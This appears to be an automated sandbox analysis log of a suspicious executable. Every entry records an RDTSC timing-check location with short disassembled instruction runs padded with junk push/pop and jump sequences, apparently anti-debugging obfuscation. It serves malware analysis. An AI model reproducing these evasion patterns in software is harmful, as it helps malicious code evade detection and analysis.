Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 602230 second address: 60223F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 618D89 second address: 618D8F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 618D8F second address: 618D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 618D95 second address: 618DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF9027258h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 618DB1 second address: 618DB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 6190EF second address: 6190F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 619584 second address: 61958A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 61958A second address: 619597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 619597 second address: 61959F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 61959F second address: 6195D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027257h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007FFAF902724Dh 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 6195D3 second address: 6195FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF8C4A846h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jbe 00007FFAF8C4A838h 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 61974C second address: 619751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 619751 second address: 61975D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFAF8C4A83Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 6199FD second address: 619A03 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 61C7EA second address: 61C7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 61C7EE second address: 61C7FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007FFAF9027246h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 61CB22 second address: 61CB26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 61CB26 second address: 61CB33 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFAF9027246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 61DE23 second address: 61DE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF8C4A83Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 61DE32 second address: 61DE45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Ch 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5315D2 second address: 5315DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FFAF8C4A836h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C7041F second address: 4C70463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FFAF9027254h 0x00000011 push eax 0x00000012 jmp 00007FFAF902724Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FFAF9027255h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C70463 second address: 4C70469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C70469 second address: 4C7046D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C7046D second address: 4C70482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 mov di, 9000h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C70482 second address: 4C70518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFAF9027254h 0x00000009 add cx, BE48h 0x0000000e jmp 00007FFAF902724Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov edx, dword ptr [ebp+0Ch] 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FFAF902724Bh 0x00000021 jmp 00007FFAF9027253h 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007FFAF9027258h 0x0000002d or esi, 4802F308h 0x00000033 jmp 00007FFAF902724Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov ecx, dword ptr [ebp+08h] 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FFAF9027255h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C906A0 second address: 4C906B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FFAF8C4A843h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C906B9 second address: 4C906BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C906BF second address: 4C906ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A840h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FFAF8C4A840h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C906ED second address: 4C906F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C906F1 second address: 4C906F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C906F5 second address: 4C906FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C906FB second address: 4C90711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF8C4A842h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90711 second address: 4C90715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90715 second address: 4C90779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007FFAF8C4A847h 0x0000000e xchg eax, esi 0x0000000f pushad 0x00000010 push eax 0x00000011 call 00007FFAF8C4A83Bh 0x00000016 pop esi 0x00000017 pop ebx 0x00000018 push eax 0x00000019 jmp 00007FFAF8C4A845h 0x0000001e pop eax 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movsx edi, si 0x00000027 jmp 00007FFAF8C4A844h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90779 second address: 4C9078E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C9078E second address: 4C9084B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FFAF8C4A83Eh 0x00000008 adc al, FFFFFFC8h 0x0000000b jmp 00007FFAF8C4A83Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007FFAF8C4A848h 0x00000019 sub cx, 2B28h 0x0000001e jmp 00007FFAF8C4A83Bh 0x00000023 popfd 0x00000024 popad 0x00000025 lea eax, dword ptr [ebp-04h] 0x00000028 pushad 0x00000029 jmp 00007FFAF8C4A844h 0x0000002e popad 0x0000002f push ebp 0x00000030 jmp 00007FFAF8C4A83Ch 0x00000035 mov dword ptr [esp], eax 0x00000038 jmp 00007FFAF8C4A840h 0x0000003d push dword ptr [ebp+08h] 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 jmp 00007FFAF8C4A83Dh 0x00000048 pushfd 0x00000049 jmp 00007FFAF8C4A840h 0x0000004e or ecx, 400ED248h 0x00000054 jmp 00007FFAF8C4A83Bh 0x00000059 popfd 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90905 second address: 4C90909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90909 second address: 4C9091C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C9091C second address: 4C90976 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFAF902724Fh 0x00000009 adc ax, BF6Eh 0x0000000e jmp 00007FFAF9027259h 0x00000013 popfd 0x00000014 mov edx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, esi 0x0000001b jmp 00007FFAF902724Ah 0x00000020 pop esi 0x00000021 jmp 00007FFAF9027250h 0x00000026 leave 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a mov cl, 49h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C90976 second address: 4C80240 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 5AD16F5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, di 0x0000000c popad 0x0000000d retn 0004h 0x00000010 nop 0x00000011 sub esp, 04h 0x00000014 xor ebx, ebx 0x00000016 cmp eax, 00000000h 0x00000019 je 00007FFAF8C4A99Ah 0x0000001f mov dword ptr [esp], 0000000Dh 0x00000026 call 00007FFAFD566BAAh 0x0000002b mov edi, edi 0x0000002d pushad 0x0000002e mov bl, ch 0x00000030 mov di, 2828h 0x00000034 popad 0x00000035 push ebp 0x00000036 pushad 0x00000037 push ecx 0x00000038 mov edi, 2049F46Ch 0x0000003d pop edi 0x0000003e mov esi, 67F434B1h 0x00000043 popad 0x00000044 mov dword ptr [esp], ebp 0x00000047 jmp 00007FFAF8C4A83Ch 0x0000004c mov ebp, esp 0x0000004e pushad 0x0000004f mov cl, E9h 0x00000051 mov edi, 03355A1Eh 0x00000056 popad 0x00000057 sub esp, 2Ch 0x0000005a pushad 0x0000005b pushfd 0x0000005c jmp 00007FFAF8C4A83Bh 0x00000061 xor esi, 44FA86CEh 0x00000067 jmp 00007FFAF8C4A849h 0x0000006c popfd 0x0000006d push eax 0x0000006e push edx 0x0000006f mov ebx, eax 0x00000071 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80240 second address: 4C80263 instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 call 00007FFAF9027252h 0x0000000e mov edx, ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 mov si, di 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80263 second address: 4C802B0 instructions: 0x00000000 rdtsc 0x00000002 call 00007FFAF8C4A849h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FFAF8C4A83Ch 0x00000013 add eax, 5F1A8408h 0x00000019 jmp 00007FFAF8C4A83Bh 0x0000001e popfd 0x0000001f mov eax, 456AFA7Fh 0x00000024 popad 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C802B0 second address: 4C802B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C8034B second address: 4C8035A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C8035A second address: 4C803CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027259h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a jmp 00007FFAF902724Eh 0x0000000f test al, al 0x00000011 pushad 0x00000012 mov cx, 2C8Dh 0x00000016 pushfd 0x00000017 jmp 00007FFAF902724Ah 0x0000001c jmp 00007FFAF9027255h 0x00000021 popfd 0x00000022 popad 0x00000023 je 00007FFAF902747Ch 0x00000029 jmp 00007FFAF902724Eh 0x0000002e lea ecx, dword ptr [ebp-14h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C803CC second address: 4C803E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C803E9 second address: 4C803FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C803FB second address: 4C803FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C803FF second address: 4C8040D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C8040D second address: 4C80413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C804DA second address: 4C804DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C804DE second address: 4C804E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C804E4 second address: 4C804EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C804EA second address: 4C80555 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FFB69A687C4h 0x00000011 pushad 0x00000012 jmp 00007FFAF8C4A83Eh 0x00000017 pushfd 0x00000018 jmp 00007FFAF8C4A842h 0x0000001d add si, 4C68h 0x00000022 jmp 00007FFAF8C4A83Bh 0x00000027 popfd 0x00000028 popad 0x00000029 js 00007FFAF8C4A8E3h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FFAF8C4A845h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80555 second address: 4C8055B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C8055B second address: 4C8055F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C8055F second address: 4C805B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027253h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e jmp 00007FFAF9027256h 0x00000013 jne 00007FFB69E45150h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007FFAF902724Ch 0x00000022 and al, FFFFFF88h 0x00000025 jmp 00007FFAF902724Bh 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C805B6 second address: 4C80620 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 7AE75FFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FFAF8C4A844h 0x0000000f jmp 00007FFAF8C4A845h 0x00000014 popfd 0x00000015 popad 0x00000016 mov ebx, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c call 00007FFAF8C4A843h 0x00000021 pop ecx 0x00000022 call 00007FFAF8C4A849h 0x00000027 pop ecx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80620 second address: 4C806A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFAF902724Ch 0x00000008 pushfd 0x00000009 jmp 00007FFAF9027252h 0x0000000e xor ah, 00000008h 0x00000011 jmp 00007FFAF902724Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea eax, dword ptr [ebp-2Ch] 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FFAF9027254h 0x00000024 sub ax, 1F68h 0x00000029 jmp 00007FFAF902724Bh 0x0000002e popfd 0x0000002f mov ebx, eax 0x00000031 popad 0x00000032 xchg eax, esi 0x00000033 jmp 00007FFAF9027252h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FFAF902724Eh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C806A5 second address: 4C806AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C806AB second address: 4C806AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C806AF second address: 4C80763 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FFAF8C4A83Fh 0x00000010 sub eax, 3CC850BEh 0x00000016 jmp 00007FFAF8C4A849h 0x0000001b popfd 0x0000001c mov ecx, 0E254607h 0x00000021 popad 0x00000022 nop 0x00000023 pushad 0x00000024 call 00007FFAF8C4A848h 0x00000029 mov ah, 2Bh 0x0000002b pop ebx 0x0000002c push esi 0x0000002d pushfd 0x0000002e jmp 00007FFAF8C4A843h 0x00000033 sub si, 302Eh 0x00000038 jmp 00007FFAF8C4A849h 0x0000003d popfd 0x0000003e pop ecx 0x0000003f popad 0x00000040 push eax 0x00000041 jmp 00007FFAF8C4A83Eh 0x00000046 nop 0x00000047 pushad 0x00000048 call 00007FFAF8C4A83Eh 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C80763 second address: 4C80794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FFAF9027251h 0x0000000a popad 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FFAF902724Eh 0x00000011 push eax 0x00000012 pushad 0x00000013 mov ebx, 1C79E2E4h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C807E1 second address: 4C807F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF8C4A83Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C807F1 second address: 4C8007C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FFB69E45099h 0x00000011 xor eax, eax 0x00000013 jmp 00007FFAF900097Ah 0x00000018 pop esi 0x00000019 pop edi 0x0000001a pop ebx 0x0000001b leave 0x0000001c retn 0004h 0x0000001f nop 0x00000020 sub esp, 04h 0x00000023 mov esi, eax 0x00000025 xor ebx, ebx 0x00000027 cmp esi, 00000000h 0x0000002a je 00007FFAF9027385h 0x00000030 call 00007FFAFD94328Ch 0x00000035 mov edi, edi 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007FFAF9027258h 0x0000003e add ax, 0ED8h 0x00000043 jmp 00007FFAF902724Bh 0x00000048 popfd 0x00000049 mov bx, ax 0x0000004c popad 0x0000004d xchg eax, ebp 0x0000004e pushad 0x0000004f pushfd 0x00000050 jmp 00007FFAF9027250h 0x00000055 jmp 00007FFAF9027255h 0x0000005a popfd 0x0000005b push eax 0x0000005c push edx 0x0000005d pushfd 0x0000005e jmp 00007FFAF902724Eh 0x00000063 sbb ax, 5398h 0x00000068 jmp 00007FFAF902724Bh 0x0000006d popfd 0x0000006e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C8007C second address: 4C800C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FFAF8C4A844h 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FFAF8C4A840h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FFAF8C4A847h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C800C2 second address: 4C800C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4C800C8 second address: 4C800CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
